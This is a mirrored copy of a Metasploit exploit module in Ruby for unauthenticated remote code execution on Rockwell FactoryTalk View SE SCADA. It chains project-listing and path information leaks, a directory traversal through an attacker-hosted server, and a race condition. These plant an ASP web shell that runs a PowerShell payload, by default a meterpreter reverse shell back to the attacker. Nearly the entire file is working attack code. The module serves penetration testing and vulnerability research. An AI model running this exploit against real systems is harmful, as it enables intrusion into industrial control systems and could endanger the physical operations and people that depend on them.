CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Powershell
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::Remote::HttpClient
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
18
'Description' => %q{
19
This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
20
on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
21
The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,
22
the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all
23
targets, two information leak vulnerabilities are also abused.
24
This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
29
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
30
],
31
'References' => [
32
[ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],
33
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],
34
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],
35
[ 'CVE', '2020-12027'],
36
[ 'CVE', '2020-12028'],
37
[ 'CVE', '2020-12029'],
38
[ 'ZDI', '20-727'],
39
[ 'ZDI', '20-728'],
40
[ 'ZDI', '20-729'],
41
[ 'ZDI', '20-730'],
42
],
43
'Privileged' => false,
44
'Platform' => 'win',
45
'Arch' => [ARCH_X86, ARCH_X64],
46
'Stance' => Msf::Exploit::Stance::Aggressive,
47
'Payload' => {
48
'DefaultOptions' =>
49
{
50
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
51
}
52
},
53
'DefaultOptions' => { 'WfsDelay' => 20 },
54
'Targets' => [
55
[ 'Rockwell Automation FactoryTalk SE', {} ]
56
],
57
'DisclosureDate' => '2020-06-22',
58
'DefaultTarget' => 0,
59
'Notes' => {
60
'Stability' => [ CRASH_SAFE ],
61
'SideEffects' => [ IOC_IN_LOGS ],
62
'Reliability' => [ REPEATABLE_SESSION ]
63
}
64
)
65
)
66
register_options(
67
[
68
Opt::RPORT(80),
69
OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
70
OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
71
OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
72
]
73
)
74
75
register_advanced_options(
76
[
77
OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
78
]
79
)
80
end
81
82
def send_to_factory(path)
83
send_request_cgi({
84
'uri' => normalize_uri(target_uri, path),
85
'method' => 'GET'
86
})
87
end
88
89
def check
90
res = send_to_factory('/hmi_isapi.dll')
91
return Exploit::CheckCode::Safe unless res && res.code == 200
92
93
# Parse version from response body
94
# Example: Version 11.00.00.230
95
version = res.body.scan(/Version ([0-9.]{5,})/).flatten.first.to_s.split('.')
96
97
# Is returned version sound?
98
unless version.empty?
99
if version.length != 4
100
return Exploit::CheckCode::Detected
101
end
102
103
print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")
104
if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
105
# we know this exact version is vulnerable (11.00.00.230)
106
return Exploit::CheckCode::Appears
107
end
108
109
return Exploit::CheckCode::Detected
110
end
111
112
return Exploit::CheckCode::Unknown
113
end
114
115
def on_request_uri(cli, request)
116
if request.uri.include?(@shelly)
117
print_good("#{peer} - Target connected, sending payload")
118
psh = cmd_psh_payload(
119
payload.encoded,
120
payload.arch.first
121
# without comspec it seems to fail, so keep it this way
122
# remove_comspec: true
123
)
124
# add double quotes for classic ASP escaping
125
psh.gsub!('"', '""')
126
127
# NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
128
# This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
129
# If this module is not working on an older Windows version, try the below as payload:
130
# payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
131
payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}
132
send_response(cli, payload)
133
# payload file is deleted automatically by the server once we win the race!
134
135
elsif request.uri.include?(@proj_name)
136
# Directory traversal: vulnerable asp file will land in the path we provide
137
print_good("#{peer} - Target connected, sending file path with dir traversal")
138
# Check the comments in the Infoleak 2 (project installation path) to understand why
139
filename = "../SE/HMI Projects/#{@shelly}"
140
send_response(cli, filename)
141
end
142
end
143
144
def exploit
145
# Infoleak 1 (project listing)
146
print_status("#{peer} - Listing projects on the server")
147
res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')
148
149
fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless
150
res && res.code == 200 && res.body.include?('HMIProject')
151
152
print_status("#{peer} - Received list of projects from the server")
153
@proj_name = nil
154
proj_path = ''
155
xml = res.get_xml_document
156
157
# Parse XML project list and check each project for installation project path
158
xml.search('HMIProject').each do |project|
159
# Infoleak 2 (project installation path)
160
# In the original exploit, we used this to calculate the directory traversal path, but
161
# Google says the path is the same for all versions since at least 2007.
162
# Let's still abuse it to check if the project is valid.
163
url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"
164
res = send_to_factory(url)
165
166
proj_path = res.body.strip
167
168
# Check if response contains :\ that indicates a windows path
169
next unless proj_path.include?(':\\')
170
171
print_status("#{peer} - Found project path: #{proj_path}")
172
173
# We only need first hit so we can quit the project parsing once we get it
174
if project.attributes['Name']
175
@proj_name = project.attributes['Name']
176
break
177
end
178
end
179
180
if !@proj_name
181
fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')
182
end
183
184
shell_path = proj_path.sub(@proj_name, '').strip
185
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
186
187
# Start http server for project copy callback
188
http_service = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
189
print_status("#{peer} - Starting up our web service on #{http_service} ...")
190
191
start_service({
192
'Uri' => {
193
'Proc' => proc do |cli, req|
194
on_request_uri(cli, req)
195
end,
196
# This path has to be capitalized as "RSViewSE" or else the exploit will fail!
197
'Path' => '/RSViewSE/'
198
}
199
})
200
201
# Race Condition
202
# This is the racer thread. It will continuously access our asp file until it gets executed
203
print_status("#{peer} - Starting racer thread, let's win this race condition!")
204
@shelly = "#{rand_text_alpha(5..10)}.asp"
205
racer = Thread.new do
206
loop do
207
res = send_to_factory("/#{@shelly}")
208
if res.code == 200
209
print_good("#{peer} - We've won the race condition, shell incoming!")
210
break
211
end
212
end
213
end
214
215
# Project Copy Request: target will connect to us to obtain project information.
216
print_status("#{peer} - Initiating project copy request...")
217
url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
218
res = send_to_factory(url)
219
220
# wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
221
count = 0
222
while count < datastore['SLEEP_RACER']
223
break if racer.status == false
224
225
sleep(1)
226
count += 1
227
end
228
racer.exit
229
end
230
end
231
232